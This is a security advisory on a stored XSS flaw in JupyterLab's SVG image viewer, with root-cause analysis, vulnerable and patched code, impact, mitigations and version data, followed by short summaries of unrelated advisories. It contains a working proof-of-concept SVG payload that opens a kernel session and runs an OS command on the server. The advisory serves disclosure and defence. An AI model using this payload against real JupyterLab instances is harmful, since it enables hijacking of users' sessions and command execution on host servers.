Jul 23, 2026·7 min read·22 visits
Stored XSS in JupyterLab's image viewer allows arbitrary JavaScript execution and host takeover when a user opens a malicious SVG image in a new browser tab.
A stored Cross-Site Scripting (XSS) vulnerability exists in JupyterLab's Image Viewer component when processing Scalable Vector Graphics (SVG) images. Due to the lingering lifecycle of generated object URLs and the inheritance of the application origin by client-side Blobs, an attacker can execute arbitrary JavaScript within the victim's active session. This execution occurs when a user views an SVG file in the JupyterLab image viewer, right-clicks the image, and selects 'Open image in new tab'.
JupyterLab is an interactive development environment designed for working with notebooks, code, and data. The application features a built-in image viewer designed to render various image formats, including Scalable Vector Graphics (SVG). This viewer operates within the main application context, handling file access and rendering via standard web components.
Because the image viewer displays content uploaded or generated by users, it constitutes an attack surface. When rendering SVGs, the viewer must manage XML-formatted vector data that can natively contain interactive scripts. The vulnerability tracked as GHSA-GX64-GJ6P-PC4C arises from the insecure management of these script-bearing assets within the application Document Object Model (DOM).
An attacker can exploit this surface by placing a crafted SVG file inside a shared workspace or directory. When another user views this image and interacts with it using the standard browser context menu, the execution of arbitrary JavaScript occurs within the secure origin of the JupyterLab server. This allows the attacker to bypass the browser's origin-based security boundaries completely.
The core of the vulnerability lies in the combination of the HTML5 File API object lifetime model and browser security policies regarding Scalable Vector Graphics. To render an image file without base64 encoding, the image viewer component creates a DOM-allocated Blob containing the raw file data. It then generates a corresponding URI using URL.createObjectURL(blob), assigning this reference directly to the src attribute of an HTMLImageElement.
According to the W3C File API specification, any URI created using URL.createObjectURL() inherits the host origin of the creator document. In a standard deployment, this means the generated object URL (e.g., blob:http://localhost:8888/<uuid>) belongs entirely to the JupyterLab server's origin. When the browser renders this object URL within an <img> tag, it applies standard rendering restrictions that strictly block script execution inside SVGs.
However, a design flaw exists in how the object URL is maintained. The image viewer leaves the blob: URL registered in memory indefinitely during the widget's active lifecycle. If a user utilizes the native browser context menu to select 'Open image in new tab', the browser changes the rendering context. Instead of treating the SVG as a sandboxed image source, the browser loads the active object URL as a standalone top-level document, lifting the script execution restrictions and running any embedded JavaScript under the JupyterLab host origin.
Prior to the implementation of the fix, the ImageViewer widget handled URL management in packages/imageviewer/src/widget.ts by replacing the old object URL only when a new image was loaded or when the component was disposed. This design meant the generated blob: URL remained valid and accessible for as long as the user kept the image viewer tab open within the JupyterLab interface.
// VULNERABLE CODE PATH
const oldurl = this._img.src || '';
let content = context.model.toString();
if (cm.format === 'base64') {
this._img.src = `data:${this._mimeType};base64,${content}`;
} else {
const a = new Blob([content], { type: this._mimeType });
this._img.src = URL.createObjectURL(a); // Generates persistent object URL
}
URL.revokeObjectURL(oldurl); // Only revokes the previous URL, keeping the current one activeThe patch addresses this lifecycle flaw by monitoring the rendering process and immediately revoking the object URL once the image loads. By binding event listeners to the load and error events of the HTMLImageElement, the application ensures the object URL is invalidated immediately after the browser finishes reading the raw blob data into memory.
// PATCHED CODE PATH
const blob = new Blob([content], { type: this._mimeType });
const objectUrl = URL.createObjectURL(blob);
this._objectUrl = objectUrl;
const revokeObjectUrl = () => {
// Clean up listeners immediately
this._img.removeEventListener('load', revokeObjectUrl);
this._img.removeEventListener('error', revokeObjectUrl);
if (this._objectUrl === objectUrl) {
this._objectUrl = null;
}
// Revoke URL so it can no longer be requested in a new tab
URL.revokeObjectURL(objectUrl);
};
this._img.addEventListener('load', revokeObjectUrl);
this._img.addEventListener('error', revokeObjectUrl);
this._img.src = objectUrl;This remediation strategy is complete. Because the browser loads the image data into memory during the initial rendering step, the image remains visible to the user even after the object URL is revoked. However, if the user attempts to load the same URL in a new browser tab via 'Open image in new tab', the browser makes a new HTTP-style request to a URI that no longer exists, resulting in a network error and preventing the execution of the embedded script.
To execute this attack, an adversary must construct an SVG payload containing functional JavaScript. Because SVG is an XML-based format, arbitrary JavaScript can be defined using <script> tags wrapped in character data (CDATA) blocks or direct inline event handlers. The payload is crafted to target the JupyterLab REST API to achieve remote code execution.
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
<rect width="100%" height="100%" fill="blue" />
<script type="text/javascript">
<![CDATA[
(async function() {
// Exploitation of the active session context
const res = await fetch('/api/sessions', {
method: 'POST',
body: JSON.stringify({
kernel: { name: 'python3' },
name: 'ExploitSession',
path: 'exploit.ipynb',
type: 'notebook'
})
});
const session = await res.json();
const ws = new WebSocket(`ws://${window.location.host}/api/kernels/${session.kernel.id}/channels`);
ws.onopen = () => {
ws.send(JSON.stringify({
header: { msg_id: 'cmd', msg_type: 'execute_request' },
content: { code: "import os; os.system('touch /tmp/compromised')" }
}));
};
})();
]]>
</script>
</svg>The target user must have existing access to the JupyterLab environment where the malicious file is hosted. The attacker uploads the file to a shared workspace or directory. Once the victim views the file and opens it in a new tab, the payload executes. No secondary authentication or elevated privileges are required to trigger the exploit, making the attack highly reliable once the initial vector is accessed.
The impact of this vulnerability is severe. Because the executed JavaScript inherits the active origin of the JupyterLab deployment, the script operates with the full authority of the authenticated victim. The attacker's payload can execute arbitrary commands on the underlying server host by interacting with the JupyterLab kernel and terminal APIs.
Furthermore, the script can access any data stored within the JupyterLab workspace. This includes sensitive credentials, source code, dataset parameters, and environmental variables. The attacker can exfiltrate this information to an external server under their control by issuing cross-origin resource sharing (CORS) requests or utilizing image-based exfiltration techniques.
Because the vulnerability leads directly to arbitrary code execution on the host server hosting JupyterLab, it has been assigned a CVSS score of 8.2 (High). The attack is particularly damaging in collaborative research or data science environments where files are regularly shared among multiple users on a single shared JupyterLab infrastructure.
To completely mitigate this security risk, administrators and developers must upgrade the JupyterLab server installation to a patched release. The fixes are backported and available in versions v4.5.10 and v4.6.2 of the application.
If upgrading is not immediately feasible, organizations can implement a Content Security Policy (CSP) header to prevent the execution of scripts within inline documents. Specifically, configuring the sandbox directive or restricting the script-src and object-src policies can help block script parsing within the browser engine.
Additionally, access control policies should be enforced to prevent untrusted users from uploading arbitrary SVG files to shared directories. Security teams should also advise users against opening images in standalone browser tabs when working with files sourced from external or unverified origins.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
JupyterLab Project Jupyter | < 4.5.10 | 4.5.10 |
JupyterLab Project Jupyter | >= 4.6.0, < 4.6.2 | 4.6.2 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 |
| Attack Vector | Network (AV:N) |
| CVSS v3.1 | 8.2 (High) |
| Exploit Status | Proof-of-Concept |
| Impact | Stored XSS / Remote Command Execution |
| CISA KEV Status | Not Listed |
The application does not properly neutralize input inside SVG XML structures, enabling script execution under the parent domain context when rendered outside of standard image elements.
containerd is an open-source container runtime. Prior to versions 1.7.36, 2.0.13, 2.2.9, 2.3.6, and 2.4.1, a crafted OCI index graph can force very high CPU/memory usage during PullImage (before container start), causing long ContainerCreating stalls and, at larger sizes, node/runtime instability. The vulnerability occurs because containerd's image-pull descriptor graph resolution handlers processed OCI image indices and manifests recursively without enforcing boundaries on traversal depth or breadth, and without maintaining a global visited registry to count duplicate references.
An unauthenticated path traversal vulnerability exists in the Khoj AI assistant platform via the static file serving endpoint `/home/{file_path:path}`. Due to improper path sanitization when handling user input with Python's pathlib module, a remote attacker can read arbitrary files from the server's filesystem.
An argument injection vulnerability (CWE-88) in CliInvoke and AlastairLundy.CliInvoke allows local attackers to execute arbitrary system commands. By injecting double-quote characters into target file paths or arguments, attackers can terminate operating-system-level quoted boundaries and introduce new commands when shell runners are utilized.
An OS command injection vulnerability exists in the PowerShell and Cmd shell wrappers of the CliInvoke .NET library (specifically the CliInvoke.Specializations package). Under vulnerable configurations, arguments and targets are passed as a single flat string to ProcessStartInfo.Arguments, permitting double-quote breakout and execution of arbitrary secondary commands with host process privileges.
A critical-severity input validation vulnerability in the Elixir multi-party payment library `mpp` allows unauthenticated remote attackers to exhaust the transaction fee payer's wallet balance. By submitting a crafted Ethereum transaction envelope with artificially inflated gas parameters, an attacker can force the server to co-sign and commit to pay exorbitant fees, leading to severe financial loss and Denial of Service.
A critical gas draining vulnerability exists in the ZenHive mpp (Multi-Payment Protocol) library prior to version v0.6.0. By omitting validation of EIP-2930 access lists in custom 0x76 transaction envelopes, the library allows malicious clients to pad transaction payloads with dummy addresses, draining the gas sponsor's hot wallet.